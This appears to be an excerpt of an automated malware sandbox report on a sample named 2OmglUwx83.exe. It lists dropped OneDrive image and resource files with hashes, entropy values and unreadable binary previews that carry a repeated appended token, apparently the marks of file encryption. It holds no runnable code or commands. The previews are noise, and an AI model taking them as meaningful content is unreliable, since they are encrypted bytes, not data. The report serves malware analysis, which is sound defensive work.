SHA-512: 321E4A46EE4DB45449917C59269F6ED6D30F4608BF3B10297EF5E099729CDF5CF8B8CB73510F312ADC2D80E9FB8710106209EB5E4B47B7FE2AAB788FFD820DC
3

Malicious: false

Preview: .PNG.\e.4;.=....e.t/.]].P{p...`E.Fo-.rOu..}.....^^8r\:.n..x.....Y...Y.../.qv.03...&.....G.kL...xV#O....PK..@...._.........a.3.."..L.8....b:...........$..@4r....e....zh......1._...gJ...+..#i..h....y.|.
Y............M..r..Oy.C...N...R..y.1..MCm...jv....>.Bq.?...]...e6.......g.}.@@a...i.`u..tQ]O.....0g8...j..F......B.8KY......B.Uuv.......0C.k..&..z.....T...).U9P.MkxV.../MMf..(BQ.B..{.|.......-
.24!]C..,1_..mDW.D`...O.=$I#.v.n.*FV...\..TX..n..:..N.P.hR.].........V.C.dI.UB....s.5.)@..<.A.D.q.i..fX.q.....})..o...I.@.d....YL\.v...........y..Ja..p...!..._.wr...H96..l...{JGao7..Y.V.2.
.......2..i.H.(....@..-S...K..Y.9....-.:./Z.Ax..........]..t.B.(=.J..l)Q..]..C..;.V.wng.....\.......Qr0+......y<9.I...X...4..r&...d.#...=.KX..n.g.....\......`MzCJ0Qyak6RQYKiwWrih4g
2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 925

Entropy (8bit): 7.7775967520515294

Encrypted: false

SSDEEP: 24:xTAk2KFCQ3z2GHp1wt9/QbhVckB+jIP0sNbD:xR2KF93z2OWb/Q/ckB5MsD

MD5: C1F1EB20F57F38897B20740268B1EE9A

SHA1: E89ED99AA8191403B168BE4C16839A8CD6082014

SHA-256: 9C3C8DB2F29268DAD10D48AB81AFBD7BC940F84308EDE9FE6462C21F033D1401

SHA-512: 9EC347E843B7DD3BDE1BF98B20301672DB8477BE2EF8675C0461E6B15524730F0F08AB6F4155A4A888493ABEAA60B7906653C13952822C8184B7A7FDD7BE8DE
C

Malicious: false

Preview: .PNG...B...}..*X..'..|T.}.....5 .-t=...8x..47..m. ..,l5p.r.....A..:...Q..r..X....0....\...1u...e...'.sxUK..4$._.......`.+..#..........T....6r...........7J..w.\.5K_....k.}A...Y...(.;..y.{.....>@.....u0*.G..[....
......C..C..q..)\7n.JX..."....U.. ...........;.G....YO.[6E.S.<Z%.}'slv}#..%>..+.E...9g.".....u6...4..6.dQ.d.D./.-d.9...+.y.^.}..3j.".<..[..T.wc^.u..........J.@V..m..].......W*.....e..c`..q.r."K..!Y-
...*..o.y.#;.....i.3....|._+.v=..x..`T5...8$Q/..N..*.*.{....92....$.....g.....V.6Ts.mU..!.......b...O..'.|&.y..v$.k.b....V...._.v...(..............-p3.30Y..Gu2..J...y...#.m.W.w.......v.?Z....".....-...3
..>..H....x..9......nh..-;..v.PtDB...S.F.W.'.Lu.>. ....+.s...x.;@./.JL1.._F...c-..bb.O..hB,K d..9P.*...G..6.W.vn]..0..H~L..U.&..........H..+Xt.=....4........]..n....*.Gz.P.+^....".H$4..#.^..
MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1137

Entropy (8bit): 7.849824315216636

Encrypted: false

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png
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SSDEEP: 24:d6/cyQSJFqjNz3mCzvj8u0SW1EUQxKJunezHTsdpoT/aet9NWy1NbD:dCQSJsjNjTLj8vScFWKJu4UpO/aeR/zD

MD5: FC24DED05C4A620A1ECAFB2547A318AF

SHA1: 09C4EA80B402CEDF66D3407DD3B7F930A2F3AC5B

SHA-256: 94B14D2E7B13F8EE57DA5C396052AEE4AEEBC3C35D0651857DC3997E01ACF491

SHA-512: 9B6244984D32A690FE4A352424C4DEB2583F8F5EB888CB69D38CE27A5348F64081090A08CB80A8CE8E4720C7E919371F50A524C3014AD81035D6D1D9E77B60A2

Malicious: false

Preview: .PNG.....(.]..}s....iYz..\..6.vL...c+...X.4.....Sa*../v.. .?8a+.}:k..;..............[..f.".j...l%..@..p.K....r\..c@.%c3._H..TO.z..!.T.A.>$.V. .n..gJ...$4..&.j.I.=R.]v.........x..7.......L.?T.a9.......
..$Q.R.|...F.AL....f6...bq...C...7...7.....w.*\..]c..{._.n....y....$*.n:.J.n..,..<u..T.)......U...M...."N.V.j.B._..c..f.n.@[.)...q.G..!7.L...FI'....H.3...$.^..J.M.._...q.^!.0.I:Hf.x{.?.n......9....&..
R.K..*1..K...X..d4..x ..sA..t<j..U.>..:.@}..TM....=.H..4..%t`.;.R.H..k.~.....x.......u.....i..\\V../4q..B.Z.... 8..@....0..ou...)>...Xq........f<....,.1.'..O.4.}....5.y{. ...dvSz...D..1.J0...........,
C..@.._9~.aE)/W1R.i^.7.....j..b.&.<.j.2..J..5.`...d.t.Q......u+....2...I.^..6.........Xp..~L.A ...N.f{..._...?#.o...{...Y..P.....}..?.NWr...v....l7@.b.v...o5..k.Q.Y........*.....s.......z.8...........
...|+?$8Cs8...`....[.K7&..-..(..)H..&.7kZ.h.tc.?\....EA..5O\.7.x.-.U).....L..B...#M.b.vN..MjD.*.|2.P!..{v..<......zg..o....U...Z:........{..6\...%..9N`

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 2054

Entropy (8bit): 7.901757257872971

Encrypted: false

SSDEEP: 48:6y7FAyZuI1M0OrxVrPBbeI10L18P7PDiP0jYrUprLhD:66F7ZR1M0UrPBbeI3P7P+P6T

MD5: ED922D722F646480BD784CF9DF46FA34

SHA1: 38236178F6C7D3E2C212B1242687A08E29A660D8

SHA-256: 99DD30A0783838A3D4CFFF9175FFE4977F1AE82B484CCFF00355FBD852303616

SHA-512: 59F90A78869F0B3363E43289F367B10E453C1BB49835D856ABD0BD9AF1423456793A3BE29B1390CFB6D4B99DD22C1586E16DD753590A613E18F6CFE725BCBA64

Malicious: false

Preview: .PNG...3L.{.....$....4...Y..u...>...R.\......6..._%.5A......1)W.c..r|83.....;.......i......(..~~.H!.n....2.q....n-N[..r<.6.!3_.K..$W4...X).r.g.h.T..R.z.6.i.Y.......g....E..8.....@.y..j..D(~.0....w2..n
n.}.A.(.s. Q.RK%.4a>....T....M..S..h;"^..@/.0t.E0. ..4\~iH.f....p.. 15!|.......l.^...\....7.'4.....\S....c..a../|x..v..D....P..M7....]b.1#.bl....X`..248..Ja(.....W...*..f...2...Y<-X.*.H..>.k
.pG.]^...........U...%.:....b./.[.kn...u.d6..&-........3..S..G".m..........=.1....\.......V.jB.w....;6.].y.........Bo.3n.R.4... .X-%_C..@uD.}..W.Xd.v.&.h".7.@...Z.....Pn.9..}b..f.#..Z_k..\/[
2...%..%h.NG.....Q.E...I.m...j..U)T..R...w}.|...e.s.4..{.9.r.R....2.....2..wy...I.b ..yD......{y.c...6...D.R..$.2.J.u.xv.~T.....-.O.........@/........K.^.H.?.B...P..F.....d.....~.3%S..Y{.P...a-
..G..........M.l....%<..Q....k+..f.`..L[.0..2..1...w...(..d..)......A..N...k...q...*'b...O...Vb..&.".v7v1c..-.._..91..I..Zg..L.J..z,.xi..g.rd.h..FD;"...GO.^..c....V.....]....-0..M.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 750

Entropy (8bit): 7.716610368384534

Encrypted: false

SSDEEP: 12:YVOVzNJErqSEz9o7P9v9yIPSXKFBdXjpihEE0PhRBoF4UUYo9R23l2rPyqOEXNcq:GeBF67PFPSXmzZhRBoi9U12+MNbD

MD5: 68C4630C85C6CDD4BE98171D5476E00E

SHA1: 1B104D6DBBF7D6B368DAF9E2370B69681B3689D3

SHA-256: 0D03B915210C50A99AC8EC424848ADD024D6800C6CF59D4AB3C3A550577CF9C9

SHA-512: BF6FB61F158F90F13C34323B2171AD8B3510EE60EBEE56AC84E63C84F91D78C14EED9AD8A49079E1A70E24D242011F7609D12E94FA65102B71A089FD59D7F887

Malicious: false

Preview: .PNG.=..Q9...pd.....d-.x.....Q.v,..X>.....?;u^q....@q;.....$.g .....D.".#^...d........<..\#.DH..t.><N...Q$8&&}W.x.t@I.....].."=i. .T.{f.Q^.w..*.Q2.T.....+..u..Bl.A..f.d.*.(..Y).......U..Z... 
.\v...4T.^zR...8..X.US..JB.....77..d..}......3...@...Z.....f..M6..h2...gA........J.....@.Y.....U......J.A...D..LL-..ny.......y )....=F..+.k..~D. o.7&.ahX......~.\(H...:.o..../.X..X.QWP8.v6.
..+....1..E......S...4...y4v...ji.S....c...A$y....s.."d..o..V..%5X.q....G..,U.\.At_...9../..K.TR}*e.s.....U.[*ZlB]y66...._c.]j.....e..C...(Z1.Fj.j.zFV.4.%...?9.rm....Q.{....r.Q*i.7.!0....c...!..].....
T|.!.Tc.A...#..Ha...Irj.....&.P ?.C.E.U1.>.......t.U..._23MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 866

Entropy (8bit): 7.747073807541487

Encrypted: false

SSDEEP: 24:c98RCyw8VLYCsfaN3A2LDyxBBBLvsGM/Z8L7ZANbD:crKFsfMcMN8L6D

MD5: AA6B2ABE9C654E904CFF23DF27666884

SHA1: 8390D72BB7664A1952AD93C0CF77C699D52275B8

SHA-256: 8C5F3BF47815A27F9E7C3818B0D33A3656CCD9D0FDEBB50DACA867F316A51D18

SHA-512: 04678FAEF276D890BE23C9665F66A4C9ED64AA53A3BC31751043739CF7993612AD5D87738FD837EED7CE2DF6249E29D69433FC9E7C2BAD2C4B8A499769E0923
F
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Malicious: false

Preview: .PNG.~...*..&...|..' .....N_v.............+..fG.FCc{).8t*....F6.L.......7.....O.........;.As.'.U..o&Jd....CM'..~"M.......]q`......d...S....i........h.5.:...M...w..t."5...L, A....*..u..K}..E.M...+....X....-
._....C.....D[G....A...OG.(X.Bp.t<...g.C.F.E..Lx............[....^........P.e,E....6mt..[...~.....;wd..X.....G...-.7..+.......9.8..-m.n6.y..fi....(.....t..mas.SN.).Q...{y..R].P.$.H.[.....F.....'.
j..Q.M...1c.$...<.Co.M.&7.#.d'.|.....a.....J5.'..6....*D...m..I.....U.|...c...>VY.j........\.%....0..z.D>.U.Uu.......\......h.@.fS..e..M.,.Mn.@3.$...9..1..m.|.........x...R....i.:j.g.=........2....wv:
+R...oA:......1{EL8r..6.aq.5j......6.).[....+..d....$..y...|z......}..i..0o.......kV..I..t.:...N.,eR<O..C.+...e>..Ei3yK.<.VP..b..s.......|#!...*.mU~.l..8\ZMzCJ0Qyak6RQYKiwWrih4g2RG
Ly00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 931

Entropy (8bit): 7.767167889111401

Encrypted: false

SSDEEP: 24:95b4eMGFNs2KFMm/pOR1PR4OiIWdp2EAnHKMaNSDYeoDoNbD:z8eVFa2K4z2O3HHKbgD1D

MD5: 1DB88CB96AD18A0755E17241CA06B097

SHA1: 04ACF77DDEDE79A3F969DC31F773F99331C5197E

SHA-256: 7A7638BB20B985D449ECD63BEEEF2568603FBAE3CE6FBAA8EAC4AC69277F1F3D

SHA-512: 9E33DFB19F0A8A05395B840967C35A28C94F944ABDCC46CD5D0194D9A6618CB307AA22F3CC7F8422F792E172008AE4CE211518FCCA0F3DEE766D0A09F08FCC1
1

Malicious: false

Preview: .PNG..e(....Q....saW*..U.(gV...J..X..[..r..A...ySE.B0L.QX.~.2...)....bL..........Q....r>.Q.....A.(...y.!_.W.........{)4p.@E...-.n.E...C..)i"x'.t..hD.O.......u%^+J.f....u...z.`.Ex......8d).2.
{.#$.R\..Q.g$j..\..s.m.PsP4...y.l.z.B.)...#.<.....]q..;i..va]..6CB..1`)R...&...4.u....t.m".K...p..,..c..e..~..Q...^.Z..X-g...t..TW(.j........'..A.l5Z.m..+.C......a.+......u.x4..!.....%..q...KY.k......
v;.u.zS[Y'...XMk.....i...0.=.4llf..,..W..s......$....[3..t....e.."w..`.J..d...^.@...b...q..E...j...&~.......I....V......7..*........h.NX...9..;...[.......BPG....w.K..B.|...r...`......7i...<....W..\R..b.a.....Q.
..........T..-z4...v.9^;...d/?..zf.T.k.?&.77...q..=..l.uF.....?.....F.(_...;LX...5...^A..+K.#w.H.n.}...T.L.'.|.+jH.........^$.m.4.............P..^.... yPx.....tG........3W....z.+.....K.....9\~.Y.~uC.H
.'r..qd.....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1148

Entropy (8bit): 7.844927708173588

Encrypted: false

SSDEEP: 24:Iv5MRb2prlb5RAqVlHM2SJSFvKif2Kf4hoQHkpmXNbD:Iv5MRbglb5RnlHMVCtf2Kf4OQkgD

MD5: C3F7E288C4C5141D5E36BEA778B96F4E

SHA1: 0F0C6FFC650E76BDB8F9E084ABFB8699FFF8FE12

SHA-256: C3A65B0E71E0BB0547B8EC622B2EBABD119771E053503C7E0CCB8ABC75B39F23

SHA-512: 29093A44475DFB6DDBB11BD6DEEDFF26ECE2C1F96F87A20744FC9BC9049A5A914BD0DC5EEC509231C77AFE384103F6039268EB0B0762D39E2A0A1C0D3FEF07
D4

Malicious: false

Preview: .PNG...Y&...........5=..$kY|.[.=T0...OSlf....)........3............".6....8.}..i.y..*...e....vw.W.9....L..)...E.l....#.O..$/)6........^...].....2..;.h.k.....z...-.1.P-.%.@D..W;.p...A.`^....~t.....4C.P
(.vD$...):..gdSsbA(.5..+..Jx.....o...3r"...h.cT..~.b2QT...h...tF...K......k.....?%..m..A%.5|....h....w....O.Ev....J?).Rq.o..:).u..LL|-._-l...a..s.r..d..;.......U.8..q..|R~j.w.g)tH....\..T\..
n...0...../K...at.9.XA.R....HW....G...\...M.n#=\Ps.&.ns...o`..$2.L.l..Eg..!.U.NF...Y..........k..9).~. ...V9.&..9Tx.O.,..:..C*".........Z...qD..a. #9..3..V...H!..q...vM....[;A.E..c2.'."..>.....?
BL.j...{.....v..`.b;..~..^4...,..F.~sc.9.X?...]Z..?6)H^wt...\o..^.........c8.......G+...tq:........./^ -.{+.<.4...$&....[@...T..<.].C.;...d..]w..H.o...jPU.o.e...Z`..%.O#......;3Q...^{....7..^Zig..
....Xx.......`...'P....2.0........l.....}K4.......b.".T.....s'5S..v.!.L...m...9.% o.'......9B#.n...3.2..X....,..W.. O...U....{6o....j8.k.....T.d..F.L..5.N.G.+.n`..Ix[K.H.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 2110

Entropy (8bit): 7.910960522549637

Encrypted: false

SSDEEP: 24:iMcE1YcG52SacUsaWk0tJHXB9I1X7c+A4UP/rf6T0rOXbNY8Dser/4sIbUkfCZog:0FXoSe3WFB9IFK7PjiRks9kKZou6gYwD

MD5: 2E9EAEE85B0D860B602E3EE8657302D2

SHA1: 56CD7545DB2C5B0260EBBB12ED29F4FA3EB923DE

SHA-256: 812236584CA2138FAD28EFACA50F8C082E21FC4393C513825719F84F434833E9

SHA-512: BA1AE65910CE4F432DB8CEEA0B7B21B5B102D43CB47AE020E18A059CF6F8D43759EF365F98DB757C4842E43B32F8EEC640056D10C1ABE83244E69F5AE5BBE8
9D

Malicious: false
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Preview: .PNG......r.n....%C...a.z'......0.NI...X.........S..x...O...eH..l8..u..am]&.."'..2..k...Q.....x.|.7.n.R5..=6..a.a...Z9RN.+q.M .a....M-4....Ze.m+.K../&.[..L.K.E.H..d{.A.n.j.y..+..<b.....S?...
E..4.bm.S....b..sk.......r...d...2....v#...d.~x...K.q.f..^)U?3..".W..:yqs.$'.P..[.+.....n...<..@./B..c+..#.......b'Y....ji.=.Ap....H.cl{...........\.l....#_.4..-.....6..Ji..V\9....dT...~!..r.....Z1d..
\.N.+.....).,=..~.....W..........vV.d....`.(...L."a.z.=l..tQF.z.:....>..7..<oF.(...-...dk.liV?E...|..)....g...Tl...........M...E.PU.<..,L...S+..i....Jq..KU...........}...{_Uy3....a/.;.J.H...3kMU4..1~_
{^.I6R0:...Kq.y...P.....W+....../iz...!A.I......Q~@..o.....9...2)...s.K.X/.*[....BL..>O7.(*.QiH...8.j....h..l|....M..zzEWl..L`.H=.6...|#[...vEb.88^jX...VV9.r......D....}.V.n.U.o ....1:..;&.h
..C../....4...<..dv.q.x..S..I........<..........y.o..oG..t..l..C^.......W.t....LE9.Bc.z.......K...o.XOL*....v h{dX.-e.....Xbc..h!(..:~...d.A..$z.|;..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 747

Entropy (8bit): 7.684583231848627

Encrypted: false

SSDEEP: 12:ZH/XciRxcIQRLptKxVReu3PDnVkjxzyoKaptL8/nK1shkSIBRPdmryZ0RojllOEl:tcw+VKX3PzON+rapx4K1shknBfm4dNbD

MD5: FF4491EA7285DB1308303E49DA8BEF26

SHA1: 11E8792F492FADB8897B722320BD27766224A05F

SHA-256: D1E36BB07B9EC434C40DFD5B6F4AB52B9D00AFADB1539C1D502EE20302AA835E

SHA-512: D1CBA42D40B9421869E3835D6879C6BCF5AA222A7D105330BDFF4032B7C98397E110C154AEC4A61745284877DC85CA3EC2C32F4F606073293EFC00893154A882

Malicious: false

Preview: .PNG..8.."oE...T....D.u.........lKe....$U...lJ,q..K.b..v?...F$%... .._.\.=x..4.B^.g.>7j...&......^W....J..V..@...N_.KQ.0n....i....[....P.r......C.n.(..x....a..........%Y..3..r...oP..t.D.........CO..-
..F...s..9..S..n<........:.X.".. j.U...?...V....q..>k...n.4..K`j..U.....u:..g.X..x.3...z.a...e$..i5.......L.i..]........+.....u..v..-z.T.1.L...5k:.x.N........R.,6~IyON..MS.m...@.......O.0wV.-;z.....A{.
.k[ud.4........K(?.....Q{.|Lj..a.D.`.l...yo..)d.*.}.x..?...[I.Y..b...[..c....zI....N[;n.....Q.......~........f.p...,.....8...b...$..Lob...K......;..d2 .Q..E|......;....}@../.M....<EK>r..D.r......VNJ[x..=]...O..
./...x.{.d.R.(...1Rb.MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 859

Entropy (8bit): 7.75593867891787

Encrypted: false

SSDEEP: 24:p22Ys0NcGsV69hZ3vOHnS2q6vkFtaRkrQBfNbD:oNcGO6VQnvvkFwRMwVD

MD5: D5F35CBBCAC9ECDBB498EBD2CB8AD190

SHA1: 246AEF51003DDA650E306FCE576500FB78B5D852

SHA-256: 9FF464F8EFEF134DD52554D3231B49AFFE4A8D2F12F1E1F62EE02555AB0B33B1

SHA-512: 274B3D0E030C452EC7AB738348B47895E62A914DB4AB08A9AC72FDDFC9F02DBB5A20F0272CAAECB2926BD4026E092FAC4F5E9550ACEC7EFDCE879BCADDDF
7810

Malicious: false

Preview: .PNG.*.%..3[..m.!.'...K..}..X..G+C@...3B...f....nY...~.82...m.....U..I....g..I&.8{#.E..{P\.i.ImL._#.}{.6.e..o.4av.....H..L'.....q....s..B.%.....V..{.ym......@.....d.,$;..,o|.......3.q].9t..?
g..^,|9J...B.6?...?...MT.c.1>C.\R-).....F,Z.s^w..hC..k.l.=^.5O.]....!....`.4...K..M.*.../......_eax.......R.*b\.....G.$.:.....E..3....R5...\..2H.~3....8<P..W..0._....Lr.n..k.PR..(...8...[{.2
.w4.wL...%.c..u....eEAp_........~t.&d.=Z..u...S.x..d.G.........7.,F.W|........@y....k...`....y.....oa5j..{..5Z......z.E....#.}L_H.6..d....Z+........T..g...~4..a.....X.....&D>d. .U.d......Z./0.,.F..../
..U...d.... <......g..d.....ZP..4...q.. ..."...t........C....B..i.^.....>.G.X.......7...H%.../...N..9.....o .O.}...%....X5....LF...}..../8.\I3..m...AN.Y@.....,.MzCJ0Qyak6RQYKiwWrih4g2RGLy00A
dNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 925

Entropy (8bit): 7.788710057750223

Encrypted: false

SSDEEP: 24:LWsdOI5BPQCnoK+UrIncNb+WHf25yQvcNbD:PQCoK/cc0WHoWD

MD5: 998B8668620EB6F087CE28E6E86D63D5

SHA1: 43D5B75C00F5DD707B759358CEEC4FA580E50343

SHA-256: 9C956F887A347F10EE1CCD1A64148011CCA0C72F195A7EF27426A8997B8EBD38

SHA-512: DD462E74D9171758730A8C7B84CCB58E5B479D0BCB5DE849D858A876D0C826DB59B9FFA2439B526413FF848242C206975F530FB465B727C7A020FB56A9289D4F

Malicious: false

Preview: .PNG...~...c.X..0.v.....(....$:!tYT..P..,%:..Q....nB0Y..b.......`+....).*P:..F:0...Pl.....R'7a....2.x...`....[.....A_............X.mu2./0..Sk.....hS.R..igh...8.":3....iO......Vn....."x........>.<F.U.a
.M.`.).....uJ.c.(e+..L..:wUn."....N..p.8}..+AuHi.....Z..qV...x. .62...;.d..bV~..<.H.];.{..I.=.VUQ|.t/...#,;..tp%^.}.!...`............9........^+.){.L.CM$...YS.z~.........j$......".....r..n.wI<..b..Q.....
[.<.|........GMS..m.w...=....v.:48..V.\P.Ex........Z.....z...$)#J...C..B'..dF.S.....|k.Vp.Qb4.-..Z..!....m0.........A8.t...4.P.....L|....p....#.xJ..*.....N.U.x._.....N$.h||......=P....+;.J..v.<....
.h..).7...H...d>..2..i..7....i.e.r.Vyp$>.gY/.<f.........5.....~j.vm...s...U.IG.1...B$*9..r...5?z..w.....V.i2..R;O.!.H.v.u"e.u.[.....Rg...).q........!.Q)....?$w..W/...v&Q.O...4.H...b.&'.K[B.>
x.~8f.i....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-100.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-125.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-150.png
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1137

Entropy (8bit): 7.839933389126279

Encrypted: false

SSDEEP: 24:LV5/PxfIMsOtGKj6mJM/GiiVrAqUu9Td8aX+Q3BCG9xV2Q01NbD:PZf8KjtMlgdXXVQG9xENzD

MD5: C391638781071D661F876E8BBD2AAB2B

SHA1: 7146142D11A92640BB07CAEDAE9578047BA9F2E4

SHA-256: 19C6CE25D47B764BD0CDDE6CA08B75C1C078580F950235AFEF577424FF581065

SHA-512: CAE22E552A9060595B9C255023278E2506982CB29359DB3E2DD9B6C1CE41F3A96BC0F0F7DA6C1981A113F472346390717D6D95F7C99FBAAF911A1768212793E0

Malicious: false

Preview: .PNG......w.:G.B............r:..+x....;z|..I.....O..y}OK.Q(f1,......PL...........K.2.}.&..."........A.y..w...tf_.T.,.]a.,........u../.s.......|^..N.>Kp..%.Td0q..1.a.|...Ly.u..68.G...1.E`+..\.4.4.p6.nX
...m>D.!duf...._.o.I..8.yfxQ..4..+.V..^..S.w..[".}*.#.H-<.mk...^.q......_..&&....8Xxi.^O....>.&.i.gp.....m.......J........E..;..2..;3Z.T`....Q..]. ..\q..F.......RW....Y./.*..8C(5..l.!..N&.......Lw....
(......*..s.cm.<J..8..V.)..._..>.bR!... 6,Z.D.g...7+.c4X$/8v.E[.....u......KU.......v...#..q.....Q(g..7..j..7.T,.....m.....I84I.......p.Y.q_g......W0..R....m.H.....=.....i..V.G..Y......O1..L.aN.......
...2P..... .....[.a.....s...J.........?u.-.....'0...l...>j..d..).-.X.imi..QP9E..[]./T.).....|%.a)..Q7......\=H...!.j.;N..w7.o..e..\.b'.@....j,....`.V.~uw..a....#..j.&.U...\.?J...O.k...#u.z.aIq.......v
s.~=..s.|.x.2Ot...Z^..8.f..v+&T#..VV.a.gQL....|.e.V...an.;.*..x....`F`././6.LX?..|@.6.}..'...._.(.C.b&..B.......................)mZ..~.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 2054

Entropy (8bit): 7.906722774332737

Encrypted: false

SSDEEP: 48:Eqmv96/qyjP614ESXpI6vPrBfYwB8++l9RxPNSMB8whD:E7F6quCGEullAwup9Z20

MD5: 35B9155685E815625E487D0396F9B788

SHA1: F748983BE8FE2CCE2C8E005D16F4C259CBE155DE

SHA-256: 2CA89E0A6BAD170A8ABB598429AB703FBA5C6A289676C753AA2E97A5C3E08B37

SHA-512: 2BAE8D5031BB306038BCF4A77AB033691C1CACB9F3E615D05160E3EEE39233A9307A978955626665D7F1B654AD9505246FACF6BDD2D23571F46FEC25CBE7568
F

Malicious: false

Preview: .PNG.....N....POlA..Ft..;_...\...#8n...j?.....G.c$..W?.7z.g....N8Z..$9..GOm...u.....EY....|.A.*`.. .......in...b..T....@'...F......J...`.....e.{.$..I.A.G.n........&.=...N...>nD.r...1.+..8+....,..\...3
.....j.A2!.z.w..7m.Tm...:J./.F...........#s...8I|...V4.~b.+...n...<e..].hl..P.4.9V..P..'....xP.....}L(.....z.....n.....N1Hp........F:....?R..T...S.....1.8l."......C.'Q....q......J...A.vEO.|.[Jw....`<|
u.`....q<....j...P..!...C..x..Z.[..h.C.2.Yt...%.......Q?t....%..O.r_...K...Z...).4..C..M../...?..2X.*...B.g..a/t7,.s.~6..lE.......5rA~*.IN.\kV.%..]&U.X..-Ag...n.eyEN~.Q......w...S....4-.{...
.....xg..7..n....PF.?....kTU..P.4.b.wnR.^......."-..0.........1.>%...c. .7.[...0.......^.....q.....g...'..D>....Y."*~)',.......!B..bBq...f...._n ...4..~q...Q..e....j..4.f....:Zy.}s..?...p...4.!.....3b9.,...0P..
...n.V..^Wu..AF9......O.P`.jc-K.{.I.f..N)..&.e.h..o.,OW0.4.S.^RP ..J%....Y.c.....6P.0({kk..B...b>.#.}...-G.?@.q...l..VNl+q.....o..t...#....3

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 678

Entropy (8bit): 7.616775972074045

Encrypted: false

SSDEEP: 12:nEHkxXATmpwkuvWOVS5ONl7rvwHRZQbNpadjKBOu7xZMi85tqqdNJZOEXNcii9a:nEHICmmc5ervW6Nr7PMiolNJbNbD

MD5: 8C8D3EC7D091A063E7AFF972B404CFAA

SHA1: A20D7D46992C0A2B3934CB4BD489DC4BAE69C8C9

SHA-256: E5CDF7E2A1D2E1D5201F02FAFB3BD1E13E58A9E3EBA1D8FC927486A5D7619989

SHA-512: 0CAB50ECD6D68001F58D0FDBD21FF4C9D4279709E5FFCD6DBCA2ED3F04489F3C37D7A8E2D8696B8E15AF8113A13383FA03B6748FF81575B024949049B9BA352
F

Malicious: false

Preview: <?xmlg..n.Uy.../......u..[w.E...H.rH..jZ.L%D..e............K.<..JysV.Bt2.$..oBV.&..!.2 ..........f.h.'........;CW.f..kY./2.zU..x...K.o3.n#.K........Y....i%.....Y....w.ya\....Q...6.P Uj.Q..0..-
.z.....IY...QamP%.nT.g....M.>w]..;X..U....].xJ.n.-..eGD4..u.-..n.L%=l.,...=.a+.;..I..1..;...4..R|.I..4..s.gI.]:.|R.W<L......in....E..8&([P,....[..)0.....:.6.lg.4...Y.Fr.....Lo$`.z..y.Y..E......q....
.m'...6<.T.....-..Ph..x..N)..I...rr..Z..|h...J|..Y.@.%n.....F.......<..Z.n.G.k.3.g^.}.oW.D0...w;r..oj.Mm.R.H......?... H......G4m1b..3.n...;...M.C..B..NAU.>9..>....".a(...2.....6.F
B...MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-200.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-400.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml

C:\Users\user\AppData\Local\Microsoft\OneDrive\Resources.pri
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Size (bytes): 4750

Entropy (8bit): 7.954258432128798

Encrypted: false

SSDEEP: 96:WV6lOgsvJK5M0bs9YEffPTZ/pcBTNA5HY6+3y8HyNhydOcmad:WV6NNsHHPtaBTG1cy8Qcz

MD5: F87D75F8C3FB4FBEF295039E7D3924F7

SHA1: 52429B6875AED260F90B18268AF6AF42BD3084F7

SHA-256: 77B4164DBB4B0495CCC1C052B0DBE3DA57BDFC8AE19F8F90BCF5F04B6A8D89EF

SHA-512: CEA2176EB72F550EBB60B5587C4D6987F6164E490FD1B202FA3DF6755C355529CC7185898322C0369C8855DBB31848A877F1F8DB79166622B115D77055B41B44

Malicious: false

Preview: mrm_p..9.....u:...u+..0.1Z./.....R.A...{.[.oT..q.G..MX0....F...H...;...7#`.......R....U.w.\..j.B.{.{.Y"6..$...6.ze...*..R.;;I..).<.Y.<Q.W......#.h{.....]d>..i">.YlL..`$..U..".?{Kr..p....1.?.
